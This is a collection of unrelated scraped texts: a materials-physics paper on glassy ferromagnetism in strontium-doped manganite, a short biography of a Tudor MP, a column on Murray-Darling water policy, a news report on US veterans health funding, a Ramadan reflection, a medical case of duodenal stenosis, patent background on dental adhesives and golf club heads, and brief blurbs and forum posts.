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Fig 4a, shows the temperature dependence of $\chi$$^R$ in different fields of S2 sample. It clearly shows paramagnetic (PM) to ferromagnetic transition (FM) with the absence of any further transition at low temperature. Absence of strong field dependence indicates the presence of long range ferromagnetic ordering where domain wall dynamics in an infinite ferromagnetic matrix plays a significant role in defining physical properties of the compound. More vivid manifestation of the role of the walls is emphasized in the inset of Fig. 4a, which shows the frequency dependence of $\chi$$^R$. Increase in $\chi$$^R$ with the increasing frequency, an intriguing aspect because it is expected $\chi$$^R$ to decrease with the increasing frequency, as observed for metastable systems. In general, the wall distributions for these types of samples is not in equilibrium and are located in position corresponding to the local potential minima around pinning centers and oscillate around these metastable position in response to small AC field. Time dependence measurement of susceptibility performed on LaMnO$_{3.075}$ shows that $\chi$$^R$ decreases with time faster for lower frequencies than at higher frequencies below T$_c$.[@mur] This implies walls in a given time stabilize more for a lower frequency than for higher frequency. Moreover the energy of excitation by the of AC field is proportional to the square of its frequency. So higher frequency might provide extra perturbation to the pinned walls for depinning, resulting in larger response of spins with increasing frequency. Hence, the observed field and frequency dependence are quite in contrast to that of S1 where systematic frequency and strong field dependence is observed which is ascribed to the distribution of cluster size with the whole clusters being affected by field and frequency change.
To further highlight the role of the domain wall in S2, thermal hysteresis (TH) in AC-$\chi$ is performed.The PM to FM transition is second order in nature and hence it is expected that TH to be absent. TH is not observed in $\chi$$^R$ (inset of Fig 4b) as it is dominated by the volume response of the domains and is much less sensitive than imaginary part ($\chi$$^I$) to the domain wall dynamics. However, a clear difference is seen in the heating and cooling cycle of $\chi$$^I$ (Fig 4b) which arises out of domain wall motion in the low field regime. The difference in temperature cycle of $\chi$$^I$ (which corresponds to the magnetic losses) indicates thermally irreversible domain wall dynamics due to low field irreversible domain wall pinning in the sample. The TH in $\chi$$^I$ disappears (not shown) in presence of superimposed DC field as the superimposed field is expected to suppress the wall dynamics, emphasizing the above fact that the observed hysteresis is due domain wall motion.
Degaussing (DG) measurements performed on the S2 sample shows no change in nature of temperature response of magnetization at different DC fields between the normal curve and the curve noted after degaussing (Fig 5), with the DG curve always lying below the normal curve. The difference between the curves (Fig 3 vs. Fig 5) substantiates the fact that the observed features of S2 is only due to the wall dynamics unlike S1 where the domains as a whole is affected by the above protocol.
Hence, even though both the samples show ferromagnetic behaviour, there is a changeover from an orientationly random cluster arrangement of the S1 sample into a homogeneous ferromagnetic ordering for the S2 sample. Hence it may be considered that S1 sample is constituted of magnetic clusters which are in a metastable state. The interaction among the clusters results in a glassy state which is responsible for non equilibrium nature of the low temperature region. The S2 sample consists strongly coupled regions of equilibrated domains whose once developed correlation are hard to destroy when the temperature is changed. Such behaviour is similar to that of low-doped cuprates where there is a competition between the striped and superconducting phase with the change in oxygen stoichiometry.[@cho]
Observation of glassy ferromagnetism in S1 sample and stable ferromagnetism in S2 sample
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As stated earlier, the orbital domain state realized in S1 sample results in segregation of charge making the low temperature region inhomogeneous. To further substantiate the inhomogeneous nature and also to get a better insight about the underlying nature of low temperature magnetic ground state of the compound, time dependent magnetization studies under various heating and cooling protocols have been performed. Fig. 6a shows one such protocol under field cooled cooling and warming condition. Here the temperature response of magnetisation is noted during field cooled cooling (FCC) from room temperature in 9Oe magnetic field with temporary stops at 110K and 95K for a waiting time 7200sec. During the waiting time the field is switched off. After each stop at wait temperatures the field is re-applied and cooling is restarted. Field cooled warming (FCW) curve is noted immediately after the cooling cycle. Decay in magnetization (ageing affect) is observed at the wait temperatures in FCC mode. Instead of memory of aging, significant fluctuation in magnetization obtained in the warming cycle upto 115K. To crosscheck the fluctuation, immediately after the warming cycle the sample is again cooled in 9Oe from room temperature to 85K without any stop and a field cooled warming (FCW) measurement is done. In this case the FCW curve (FCW$_{ref}$ in Fig. 6a) is smooth with absence of any fluctuation indicating that the fluctuation is intrinsic to the sample and is not because of the measuring instrument. It may be noted that in ferromagnetic phase, memory effect is absent during re-heating as it is erased by growth of ferromagnetic domains whereas for a spin glass phase memory of aging can be observed during heating[@vin]. Hence absence of memory in our case rules out coexistence of spin glass behaviour with ferromagnetic state (i.e. re-entrant spin glass phase) at lower temperature. In FCC measurement with stopping it is seen that ageing makes the system stiffer with time resulting in lesser response of the spins with field. Fluctuation obtained in the field cooled warming run indicates that domain wall jumps, as the temperature is swept[@mur]. Actually the material being inhomogeneous randomly distributed pinning centres prevent the domain wall from establishing the equilibrium position. Hence the above measurements give definite evidence that the low temperature region of the compound is inhomogeneous and is not in a state of global minimum.
The above ageing measurement performed on S2 sample is shown in Fig 6b. Ageing effect is observed at the wait temperatures 110K and 95K with the effect being more prominent at the higher temperature.This indicates waiting at 110K lead to stabilization of dynamics of the domain walls resulting in lesser prominence of the effect at 95K. During the warming cycle no memory effect of the wait temperatures is observed, as expected in a ferromagnetic phase. Also, absence of magnetic fluctuation in warming cycle indicates the stable nature of the low temperature phase of this sample as compared to that of S1.
To further investigate the effect of ageing, wait time (t$_w$) dependence of ZFC TRM of both the samples is studied. Fig 7a. shows M vs. t measured with different t$_w$ =1800s, 7200s, 10800s before the application of magnetic field at 95K. As observed, magnetization clearly depends upon the wait time with M value decreasing with the increasing t$_w$ for S1 sample. The behaviour is obvious, as with increasing t$_w$ the system becomes stiffer as if the system sinks in deeper and deeper energy valley as time elapses resulting in lower value of the measured M. In contrasts, even though ageing is observed for the S2 sample M vs. t behaviour is independent of t$_w$ (inset of 7a) as this sample is more ordered than S1.
For gaining further insight about the underlying nature of the magnetic phase of the samples low field thermoremanent magnetisation measurements are performed. Fig 7b shows the time dependence of magnetisation (TRM) of the S1 sample at different temperature under field cooled (FC) conditions. For each case the sample is cooled from 250K in 9Oe to the measurement temperature where after waiting for 2min the field is switched off and magnetisation decay is noted. Among the various functional form that have been proposed to describe the change of magnetisation with time, the one proposed by Ulrich et al.[@ulr]
$M(t)= $M$_0$t$^{-\gamma}$....(1)
gave good results of fits, while the other functional form yielded unphysical value of constants with large error bars. In the equation M$_0$ is related to intrinsic ferromagnetic component and exponent ${\gamma}$ depends on strength of magnetic interaction. The values of the parameters for S1 are complied in Table 1. As expected the value of M$_0$ increases with the decreasing temperature as field cooled magnetisation value increases with decreasing temperature but ${\gamma}$ decreases upto 114K and then increases again.
T(K) M(emu/mol) ${\gamma}$(10$^{-3}$)
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85 368.4$\pm$0.15 8.9$\pm$0.06
95 322.5$\pm$0.1 4.0$\pm$0.05
105 299.8$\pm$0.1 3.5$\pm$0.07
114 287.6$\pm$0.07 3.4$\pm$0.04
125 280.2$\pm$0.17 7.7$\pm$0.01
141 245.3$\pm$0.15 8.0$\pm$0.04
: \[tab:table 1\]Values of fitting parameters M$_0$ and ${\gamma}$ of equation (1) for the sample S1
Generally for glassy systems the exponent (${\gamma}$) lies between 0 and 1 and also, in our case the value of ${\gamma}$ lying between the mentioned limits indicating a weak intercluster interaction. For spin glasses or a system of interacting particles with fixed size and concentration ${\gamma}$ is expected to be constant with temperature. The variation in the value of ${\gamma}$ as observed is ascribed to the variation of cluster size with temperature indicating the cluster size is very fragile to temperature change. This indicates a distribution of potential barrier over which the cluster magnetization tends to relax.The value of ${\gamma}$ being lower around 105K-114K is also another signature of the occurrence of orbital rearrangements in the sample.
For S2 sample, ZFC TRM measurements are done where the field is turned on at the measuring temperature after cooling it from room temperature (Fig 7c). After the field is switched on magnetization shows a sudden increase in value followed by a very slow increase over the measurement time. TRM (normalized with respect to M value at t=0) at different temperature almost superimposes on each other indicating that the relaxation at different temperature is almost the same. Good results are not obtained when the curves are fitted by the available functional form that have been proposed to describe the change of magnetization with time indicating the growth is neither exponential nor logarithmic.
The nature of the phase in regions where non equilibrium glassy behaviour is observed is generally described either in terms of droplet model[@fish] or in terms of hierarchical model. The droplet model introduce the concept of overlap length (L${_{\Delta}}$$_T$), which determine the maximum length scale at which the spin correlation at two different temperatures (the temperatures being less than spin glass transition temperature) are the same. This characteristic length for the group of spins only at distances larger than L${_{\Delta}}$$_T$ is sensitive to small temperature changes. Thus restart of domain growth is observed from the size L${_{\Delta}}$$_T$ not only after cooling but also after heating implying a symmetrical behaviour with respect to positive/negative temperature cycle. In this model it is believed that, at any given temperature below spin glass transition, there is only one phase (and its spin reversed counterpart) to be considered. Hence it can be said, that the energy landscape in this case is dominated by one large valley unlike for hierarchical model, where a multi valley structure is hierarchically organized on the free energy surface. Here the free energy landscape consists of many local minima corresponding to metastable configuration, which splits into new state when temperature decreases and merges back when the temperature is raised. Hence hierarchical picture predicts that relaxation is fully initialized on heating implying a non symmetrical behaviour with respect to heating and cooling unlike the droplet model. Hence a series of TRM measurement with temperature change as proposed by Sun et al.[@sun] is performed to associate the energy distribution at low temperature phase of the samples with one of the above defined model. The relaxation measurement for sample S1 is shown in Fig 8a. The sample is cooled from 240K to 95K in 0Oe/9Oe field. At 95K after waiting for 120sec the field was switched on/off and magnetisation is noted for time t1 = 1hour. The sample was then cooled in constant/ zero field to 85K and TRM is measure for time t2 = 1hour. Then the sample was heated back to 95K in constant/zero field and TRM was measured for time t3 = 1hour. For the ZFC case, during t1 the curve shows an immediate rise followed by steady growth after the field is switched on. During temporary cooling the relaxation is weak. Again when the temperature is raised to 95K the magnetisation start from the value it reached at the end of t2 indicating absence of reinitialization after the cooling cycle. For the FC case, magnetisation shows an immediate fall followed by steady decay after the field is switched off. During temporary cooling magnetisation start from a higher value but the relaxation is weak. During t3 the relaxation curve starts from a level which is near to the value reached at the end of t1. Fig 8b shows the above protocol in the heating cycle where the relaxation curves are noted at 95K, 105K and 95K for time t1, t2 and t3 (one hour each) respectively. Every time the starting value of magnetisation is different from the value it reached at the end of previous TRM measurement. Hence, a clear reinitialization in the relaxation is observed during temporary heating in both ZFC and FC cases. Therefore it can be said that there is an antisymmetric response with respect to positive and negative temperature change in TRM measurement in both ZFC and FC process which favours a hierarchical picture of energy landscape in the low temperature region which have also been suggested in the earlier section. Interestingly, such picture of energy landscape has also been proposed for many compound like interacting magnetic nanoparticle system[@sun], re-entrant systems[@vin] etc. The collective interactions of the self-generated assembly of clusters in the low temperature ferromagnetically inhomogeneous phase in our case may give rise to a glassy magnetic behaviour which constitute a new class of glass different from conventional spin glass as also reported in Ref [@riv].
The above procedure is performed for sample S2 by cooling it from room temperature as shown in Fig 9a and 9b. In this case the change of magnetisation with time is very small and the observed minor change in relaxation behaviour during t2, t3 is only due to change in magnetisation value with temperature change. So the energy landscape of magnetic phase of S2 cannot be ascribed to any of the above models.
Conclusion
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In summary, we have tried to solve the controversy related to the magnetic ground state of in low doped manganite systems through bulk magnetic measurements on La${_{0.9}}$Sr$_{0.1}$MnO${_3}$. Such systems show a well defined paramagnetic-ferromagnetic transition with the decrease in temperature which falls into the isotropic 3D Heisenberg universality class. However, with further decrease in temperature there is a sharp change in magnetic susceptibility which is attributed to inhomogeneous ferromagnetism. This inhomogeneity is considered to be arising from the formation of orbital domain state (comprising of ferromagnetic insulating domains separated by ferromagnetic metallic walls) resulting from a discontineous change of lattice parameters at low temperature. This self organised regimes show metastability which is different from that arising from broad first order phase transitions. It is clearly shown that the low temperature phase shows glassy behaviour which is different from conventional spin glass, cluster glass or dynamics observed in reentrant systems. This glassy phase shows ageing affect but no memory and the energy landscape of the degenerate ground state follows the picture of hierarchical model.
To conclusively assert the fact that the orbital degrees of freedom of the e$_g$-electrons plays an important role in defining the ground state of the system, non-stoichiometry is introduced. Disorder in form of self doping reduces the Mn$^{3+}$ and hence e$_g$-electrons by 17% in the La${_{0.9}}$Sr$_{0.1}$MnO$_{3.08}$ sample. This leads to complete destruction of orbital domain state of the stoichiometric sample resulting in homogeneous ferromagnetic ordering. The ferromagnetic phase of this non-stoichiometric sample does not show glassy behaviour and the energy landscape picture of the sample is neither in accordance with hierarchical model or droplet model. Further studies on stoichiometric sample in terms of coupling of spin, orbitals with lattice degrees of freedom and their dynamics will be useful in understanding the observed unusual glassy behaviour of the system. These studies will be important in establishing analogy between self-organised regimes of low doped manganites with that of cuprates and nickalates.
Acknowledgement
===============
We are grateful to Dr. P. Chaddah for many fruitful discussions. We are thankful to Mr. K. Kumar and Mr. A. K. Pramanik for help rendered during the course of measurement. KM acknowledges CSIR, India for financial support.
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![(color online) Frequency dependence of real part of ac susceptibility ($\chi$$^R$) of S1 sample[]{data-label="fig:Fig1"}](Fig1.EPS)
![(color online) (a) Thermal hysteresis (TH) imaginary part of ac susceptibility ($\chi$$^I$) of S1 sample. Inset shows TH of the real part of ac susceptibility ($\chi$$^R$). (b) Temperature response of field cooled warming (FCW) and field cooled cooling (FCC) curves of DC magnetization along with zero field cooled magnetisation (ZFCM) curve at 9Oe of S1 sample. Inset shows Temperature dependence of Magnetocaloric effect of the same.[]{data-label="fig:Fig2"}](Fig2.EPS)
![(color online) Temperature response of magnetization after zero field cooling (ZFC) \[line\] and applying a field and degaussing the ZFC sample (DG) \[open circles\] at different magnetic fields for S1 sample.[]{data-label="fig:Fig3"}](Fig3.EPS)
![(color online) (a) Field dependence of real part of ac-susceptibility ($\chi$$^R$) of S2 sample. Inset shows frequency dependence of real part of ac susceptibility ($\chi$$^R$) of the same. (b) Thermal hysteresis (TH) of the imaginary part of the ac susceptibility ($\chi$$^I$) for S2 sample. Inset shows the TH of real part of ac-susceptibility ($\chi$$^R$).[]{data-label="fig:Fig4"}](Fig4.EPS)
![(color online) Temperature response of magnetization after zero field cooling (ZFC) \[open symbols\] and applying a field and degaussing the ZFC sample \[closed symbols\] at different magnetic fields for S2 sample.[]{data-label="fig:Fig5"}](Fig5.EPS)
![(color online) (a) M-T curves during field cooling. The field is switched off at two temperatures (110K and 95K) for a waiting time of 7200 s. The M-T curve in warming mode and normal FCW curve (as FCW$_{ref}$ ) is also shown. Inset shows the above graphs upto 125K. (b) Above protocol (only FCC and FCW) for S2 sample.[]{data-label="fig:Fig6"}](Fig6.EPS)
![(color online) (a) M vs. t plot of S1 sample at 95K for different wait times (t$_w$). Inset shows the same measurement for the S2 sample. (b) M is plotted against log t (in sec) for S1 sample at different temperatures. The solid lines are best fit to Eq. (1). (c) Normalized magnetic moment M(t)/M(0) is plotted against time for S2 sample after zero field cooling to the measurement temperature and switching on the field.[]{data-label="fig:Fig7"}](Fig7.EPS)
![(a) Magnetic relaxation with temporary cooling for both ZFC (t1, t2,t3 for one hour each) and FC (t1, t2, t3) for one hour each) cases for S1 sample (b) Magnetic relaxation with temporary heating for both ZFC (t1, t2, t3 for one hour each) and FC (t1, t2, t3 for one hour each) cases for S1 sample[]{data-label="fig:Fig8"}](Fig8.EPS)
![(a) Magnetic relaxation with temporary cooling for both ZFC (t1, t2, t3 for 50 min each) and FC (t1, t2, t3 for one hour each) cases for S2 sample. (b) Magnetic relaxation with temporary heating for both ZFC (t1, t2, t3 for 50 min each) and FC (t1, t2, t3 for one hour each) cases for S2 sample.[]{data-label="fig:Fig9"}](Fig9.EPS)
| 2024-04-14T01:26:51.906118 | https://example.com/article/9569 |
Richard Cooke (MP for Preston)
Richard Cooke (by 1530 – 3 October 1579) was an English politician.
He was the eldest surviving son of Sir Anthony Cooke of Gidea Hall, near Romford, Essex. He succeeded his father in 1576.
He was a Groom of the Privy Chamber in 1551.
He was elected the Member of Parliament for Stamford in March 1553, Tavistock in 1563 and Preston in 1559.
He married Anne, daughter of John Caulton, by whom he had one son Anthony, and a daughter Philippe (mother of Lady Cornwallis). William Cooke (of Highnam) was a nephew.
References
History of Parliament COOKE, Richard (by 1530-79) of Gidea Hall, Essex
Category:16th-century births
Category:1579 deaths
Category:People of the Tudor period
Category:Year of birth uncertain
Category:English MPs 1553 (Edward VI)
Category:English MPs 1559
Category:English MPs 1563–1567 | 2024-02-11T01:26:51.906118 | https://example.com/article/4204 |
The Wild Dog Waits
The Wild Dog Waits
A young teacher from “big city” Saskatchewan arrives in a town overgrown by forest to be the principal of a school in a cage. Now a wild dog has figured out how to get through the fence… what has she gotten herself into?
One versatile performer and three chalkboards tell a goofy and heartwarming story about a 23-year old principal in Northern Saskatchewan. | 2023-08-05T01:26:51.906118 | https://example.com/article/4532 |
tryed akaio 1.5 and 1.51 firmware with latest loaders and older loaders and i can only get 3 games to work. games keep freezing after they tell you to press start or "a". i even tryed the official firmware. all games start up then freeze. is there only a few games that work?? anyone have any ideas thx | 2024-02-13T01:26:51.906118 | https://example.com/article/3470 |
Sometimes, just occasionally, a politician deviates from their speaking notes or the carefully-calibrated party line and calls bullshit on something important.
This week that’s what Liberal senator Bill Heffernan did on water policy. Heffernan is often described as “colourful” or “maverick” or other euphemisms for a bloke who made a point about federal parliament’s security by brandishing a fake pipe bomb in a committee hearing and about New South Wales state parliament security by walking in (undetected) with a knife with which he had personally castrated several hundred calves.
This week’s contribution could be better described as “on the money”.
As an El Niño weather pattern approaches, and with it the likelihood of another drought, the bitter divisions of water politics are re-emerging – and with them the threat of ecological devastation, the desperation of farm communities and South Australia’s deep-seated fears about water supply.
Murray-Darling water buybacks capped at 1,500 gigalitres as bill passes Senate Read more
This was all supposed to have been put to rest with the “compromise” on the Murray-Darling plan struck by former Labor minister Tony Burke in 2011, calming the fury in regional Australia which had seen the original version of the document burnt on the main street of Griffith.
In fact these fears have been allegedly put to rest so many times in the past few decades it’s hard to keep count. Twenty-six years ago, as a cub reporter, I travelled with Bob Hawke to Wentworth in far western NSW to hear him deliver what he modestly referred to as “the world’s greatest environment statement”. That involved spending $500m and planting 1bn trees, and marked the first mainstream recognition that the over-allocation of farming and irrigation water and general mismanagement meant things were going terribly wrong with the nation’s most economically important river system.
In 2004 the federal government and the states set aside $1bn to “give back” 500 gigalitres (about one Sydney Harbour full) of the over-allocated Murray-Darling water to the environment. That didn’t work very well either, so in 2007 a new water minister called Malcolm Turnbull put together a $10bn plan to solve the problem, which was subsequently recast by the Rudd government, with a $2.8bn top-up. Then came the 2011 plan. Now it, too, is under pressure.
Like all truly difficult problems this is a fight between genuine inter-related – but competing – interests.
Facebook Twitter Pinterest The Darling river in Louth, New South Wales, in 2008. The southern Murray-Darling basin is forecast to suffer a 15% decline in rainfall, equivalent to a 35% decline in runoff. Photograph: Dean Lewins/AAP
On the environmental side, successive governments had unquestionably over-allocated water rights in a way that was proving fatal for the ecology. But how much water needs to be “put back”? The CSIRO found 3,500 to 4,000 gigalitres at a minimum. The draft Murray-Darling basin plan said 3,000 gigalitres. The final compromise agreement, struck by Burke, said 2,750. Late last year, as rural anger rose, the parliament legislated that a maximum of 1,500 gigalitres could be achieved through water “buybacks” , with the rest coming from water saved by commonwealth spending on more efficient water use by farmers or more efficient use for the environment. It’s not clear that this is going to be possible.
And to complicate things further, from the outset, politicians have been promising different things to different people. Former prime minister Julia Gillard did a side deal with South Australian premier Jay Weatherill to add another 450 gigalitres to the 2,750 – adding $1.7bn to get that extra water and make sure the mouth of the Murray was open 95% of the time. She also did a side-side deal with Victoria and NSW that the extra 450 gigalitres would be the subject of a review, which might reduce the environmental water by 650 gigalitres. So voters in South Australia were told the plan would deliver up to 3,200 gigalitres, while NSW irrigators were told it was likely to be as low as 2,100. The “review” is to be decided next year.
On the farming side the consequences and fears are also dire.
The former Labor government bought back a lot of water during the drought years, with some financially-distressed farmers selling permanent water licences on the assumption they could buy temporary licences in the future. With a drought looming, the laws of supply and demand (and the many speculators in the largely unregulated and unpoliced water market) are making those permits unaffordable.
The Liberal backbencher and member for the Victorian seat of Murray, Sharman Stone, says the buybacks are also having knock-on effects, for example leaving so many dairy farms in her region “dried out” and unproductive, that it is threatening dairy manufacturing investment. She says the Murray-Darling is losing $5m a day in food production because of reduced water availability.
Stone also wants the $1.7bn agreement with South Australia revisited, saying some of that money might be better spent just turning on Adelaide’s desalination plant.
The deep fears of rural communities are percolating into the federal political process in other ways.
Water is now a live-or-die issue for the National party, which is why it demanded the portfolio switch from the environment minister to the agriculture minister (Barnaby Joyce) in its Coalition agreement with Malcolm Turnbull. It also explains the strange spat over Joyce’s formal job description, in which he demanded his junior minister, South Australian Liberal senator Anne Ruston, have no say over the day-to-day decision making on water.
One of Joyce’s first decisions will be whether he accepts a recommendation in a recent review to ditch the requirement that any money earned by the commonwealth from water trading be spent on more buybacks, and whether he accepts demands for the commonwealth to be able to sell “excess” water to irrigators, increasing supply and reducing temporary water prices. Environmentalists see those ideas as the thin end of the wedge, a further erosion of the water available for the environment.
And pressure on the Nationals will only intensify with a Senate committee instigated by the crossbench senators and taking evidence throughout regional areas. Those senators are championing a grassroots plea that the Murray-Darling plan be “paused”, whatever that might mean.
And on top of those all those conflicting interests, and the contradictory promises to different constituencies, the Murray-Darling basin plan didn’t take the impact of climate change into account at all.
It was apparently one complication too many in trying to resolve an already diabolically hard problem, so the plan was based on historical averages of rainfall.
That is why the Wentworth Group of Concerned Scientists rejected the plan, saying it was based on the incorrect assumption that “there is no risk to river health from climate change.”
Which brings us back to Heffernan.
Politicians, he said, had to stop making contradictory promises they couldn’t keep. Promising everyone more water was like promising everyone free beer, it only made you popular until they realised you couldn’t do it. He cited figures suggesting the southern Murray-Darling basin would suffer a 15% decline in rainfall, equivalent to a 35% decline in runoff.
“The science is warning us” he said, and it was time for politicians to stop making promises that really amounted to playing politics with the people whose livelihoods depend on Murray-Darling water, and also with the environment. | 2023-12-09T01:26:51.906118 | https://example.com/article/3215 |
Question of the Day
Whose side of the story do you believe?
The Bush administration yesterday admitted that it badly miscalculated health care spending for veterans this year and agreed to send Congress an emergency spending request to make up a shortfall of at least $1 billion.
It was a reversal from just a day before, when Veterans Affairs Secretary Jim Nicholson said money could be transferred among accounts to make up the difference, and House Republicans, on a procedural vote, rejected Democrats’ attempt to add more money.
But with the Senate voting unanimously yesterday to add $1.5 billion to veterans health spending and House Minority Leader Nancy Pelosi promising to “make the issue so hot that today Republicans will reverse their position,” House Republican leaders said their members were getting “uncomfortable” with the department’s solution.
That left Mr. Nicholson with little choice but to agree to ask for more money.
He and House Veterans’ Affairs Committee Chairman Steve Buyer, Indiana Republican, announced the supplemental request at a joint press conference, and Mr. Buyer said he expects Mr. Nicholson to provide an exact amount today.
“Hopefully, they’ll work through the night and be able to give us a number,” Mr. Buyer said.
Democrats called it a major “I told you so” moment, since they had been pushing for more funding for months.
Those efforts included an attempt in April by Sen. Patty Murray, Washington Democrat, to add the money to the emergency war-spending bill. But Republicans, bolstered by a letter from the administration saying there was already enough money, defeated her amendment.
Yesterday, Senate Republicans said their switch should be seen as a slap to the White House.
“We were in error. Senator Murray was right,” said Sen. Rick Santorum, Pennsylvania Republican, who said the fact that top Republican senators sponsored one of the amendments to boost funding “sends a very loud and clear message to the administration that we’d like straight dealing” on veterans issues.
The Senate amendment, added to the interior and environment spending bill, would allocate $1.5 billion for veterans health care, to be made available immediately. Any amount not spent in fiscal year 2005, which ends in September, would carry over to fiscal year 2006, which also has an unspecified shortfall.
Mr. Buyer and other Republicans blamed bad budget practices. They said the 2005 figures were based on data from 2002, before the war in Iraq had begun.
“That excuse doesn’t even hold water,” said Rep. Chet Edwards, Texas Democrat, who has taken a leading role in the fight for the increases. “There’s a $1 billion shortfall and $300 to $400 million in a reserve fund to cover that shortfall.”
He said Mr. Nicholson planned to cover the rest of the shortfall by delaying capital improvements and some operational expenses, but that proved unacceptable to Congress.
Mr. Nicholson said the cost overruns were “a good problem” to have. He said it means the VA system is providing such good health care that more people are turning to it rather than using their own private insurance plans.
But part of the increase is due to more injuries to returning troops.
Despite the bipartisan vote in the Senate, the tone turned nasty.
Senate Minority Leader Harry Reid, Nevada Democrat, criticized Mr. Nicholson for having no qualifications for being secretary other than having once been chairman of the Republican National Committee. Mr. Santorum rebuked Mr. Reid on the Senate floor, pointing to Mr. Nicholson’s years of military service.
Mr. Reid then corrected himself about Mr. Nicholson, but said he was not going to be “lectured about civility” by Mr. Santorum. He then entered Mr. Santorum’s previous voting record against veterans health care funding into the Congressional Record.
“Now with an election cycle upon us, he supports, under pressure, voting for veterans. Talk about crass politics,” Mr. Reid said. | 2024-02-27T01:26:51.906118 | https://example.com/article/5416 |
In the prenatal ultrasound, there is evidence of foreshortened extremities (history of hip dysplasia/chondrodystrophy in the family). Prenatal ultrasound with dilated stomach, double-bubble phenonemon, oligohydramnios. Spontaneous delivery in the 37th week of pregnancy in cephalic presentation. Postnatally unremarkable adaptation. Further diagnostics.
Pathomorphology or Pathophysiology of this disease :
Internal stenoses arise more often through growth retardation than through vascular or obliterating infections. Beside membrane-like barriers, tubular strictures have been also described.
Radiological findings:
X-Ray 1: Abdominal overview, hanging. Large stomach bubble in the left upper quadrant, duodenal bubble to the right of the spine, little air in the rest of the abdomen.
X-Ray 2: UGI: Contrast media column with abrupt stop at the transition to the pars horizontalis.
Ultrasound 1: Hypoechoic structure with internal floating echos seen in the subhepatic region on the transverse abdominal view.
Ultrasound 2: Obliterating peristaltic waves traveling from the left to right.
Postnatal confirmation of the diagnosis by ultrasound and x-ray. Planned surgical repair using a duodeno-duodenostomy. Intraoperatively, a tubular stenosis was seen, which had a pinpoint sized lumen. A post-stenotic dilation was not seen. A probe could be passed through the lumen. Postoperative pain management with a peridural catheter. Quick oral nutrition through the feeding tube. The tube was removed on the 11th postoperative day and enteral nutrition was unproblematic. | 2024-06-09T01:26:51.906118 | https://example.com/article/5209 |
What is Ramadan?
We often think of Ramadan as a month of starving and waking up in the dead of night to eat our only meal of the day, but a lot of us never really see the true picture of the world during this time of month. We hear stories about kids overseas with no food for iftar and sahoor. We sympathize with them, donate some money and move on.
But do you really sit down and think how your life would be if you were in their position? I was the same way. I would hear stories about little kids whose parents cannot afford much food so they had to sacrifice their food for their kids. I remember feeling so bad for them and wishing I could do something. But I never sat down and thought how different my life would be if I went a month without one of the necessities we take for granted every day.
This summer my family and I are in Pakistan. This is our first Ramadan away from home, and I can honestly say it has been interesting. This summer has been Pakistan’s hottest summer. On top of that there is load-shedding. This is where the city will turn off the power for an hour or two to cut back on electricity being used. A few weeks ago, there was something wrong with the power lines, so some places across the city people were going a whole day or 2 without power. Alhamdulillah, we were lucky ours did not go out for that long. But going out and seeing how people were dealing with these issues shocked me. There were people out on the streets, because they have no home, or they haven’t had power for 2 days. There were people on the news striking against the government, because they are not taking action for these issues people are facing, especially during the month of Ramadan.
As I was witnessing all these things that I don’t see on a normal daily basis, I felt embarrassed. Embarrassed because I personally complain a lot. I complain about the smallest things, when they don’t go my way. I am not the only one either. I know many people who complain even more. People complain about not having enough food during iftar and dinner, or the way the food was served. People complain about not having enough or the right kind of soda for their guests or even for the people at Masjid dinners. We complain about the mosquitoes and bugs outside; no one wants to serve because it is too hot to stand outside and you were fasting all day.
All of these little things seem 10x more ridiculous when you see the real deal in a less privileged country. This Ramadan has taught me to count my blessings, because my life is filled with them Alhamdulillah. All of our lives are filled with them, and I think we should all sit down and really think about it. That clean running water is always there for you when you need it, but does everybody around the world have that? The AC running 24/7…is that a norm for everybody around the world? We are so blessed to be living in a country that provides us everything we need, and, with that, remember to say "Alhamdulillah" even when you didn’t get that samosa during iftar! L | 2023-10-21T01:26:51.906118 | https://example.com/article/7617 |
In recent years there has been intense interest in the dental field in adhesives which bond to dentin. Recent examples of such adhesives include those described in U.S. Pat. Nos. 4,182,035, 4,222,780, 4,235,633, and U.S. Ser. No. 234,560, filed Feb. 13, 1981). Primer compositions for use on dentin in conjunction with existing enamel adhesives are disclosed in Danish Patent Application No. 4898-83 and in Munksgaard and Asmussen, J. Dent. Res., 63, 8, pp 1087-1089 (August, 1984). In general, the mechanism by which such adhesive and primer compositions function is poorly understood and the subject of current speculation. | 2024-05-12T01:26:51.906118 | https://example.com/article/7117 |
The present invention relates generally to golf club heads which include visual indicators or cues designed to promote desirable golf swing characteristics. More particularly, the present invention relates to a golf club head having visual cues which promote an outside-inside backswing and an inside-outside front swing.
As is well known, golf clubs are generally of two types: the "wood" or distance clubs, and the "irons." Both types of clubs basically include a shaft having a grip portion on one hand with a club head attached to the other end. A complete set of "iron" golf clubs typically includes nine clubs numbered 1-9. Additionally, the complete "iron" golf club set will include a sand wedge, a pitching wedge, and may include various other specialty clubs.
The head of conventional "iron" clubs is typically made from steel or steel alloys such as stainless steel which may or may not be chrome plated. The head may be cast, forged or machined, to provide a blade portion which is integral with a hosel or neck portion. A blade portion is used in striking the golf ball with the hosel portion being designed to connect the blade to the club shaft. As is well known, the numbered clubs, 1-9, have different shaft lengths and differing blade weights and blade loft angles to allow a golfer to hit a golf ball different distances using approximately the same golf swing.
The ultimate goal of the golf swing, regardless of the type of club being used, is to hit the golf ball in a desired, pre-selected direction or line of flight. In general the golfer positions himself so that his shoulders and feet are substantially parallel to the desired line of flight of the golf ball. A complete golf swing basically includes the backswing, the forward swing, and the follow through. An important feature of the golf swing is the angle at which the golf club head travels relative to the intended line of flight during both the backswing and frontswing. In general, it has been found that the club head, during the backswing, should be moved towards the golfer at an inward angle away from the intended line of flight of the golf ball. On the forward swing, the golf club head preferably moves forward along the same club head path defined during the backswing. The inward movement of the golf club during the backswing is commonly referred to as an outside-inside backswing, with the forward movement of the club head along the same path during the forward swing being commonly referred to as an inside-outside swing. This type of overall golf swing is commonly referred to simply as an inside-outside swing. Many golfers have found that the use of an inside-outside swing provides a desired impact configuration between the club head face and the golf ball which results in travel of the golf ball along the desired line of flight.
The inside-outside swing is to be contrasted with the outside-inside swing in which the club head is moved away from the golfer during the backswing at an outward angle relative to the intended line of flight and subsequently moved from an outside to an inside position during the forward swing. The outside-inside swing typically results in the face of the club head moving laterally relative to the intended line of flight during ball impact. Such lateral movement of the club head imparts a side spin to the ball resulting in an undesirable curved flight path for the ball which is commonly referred to as a "slice."
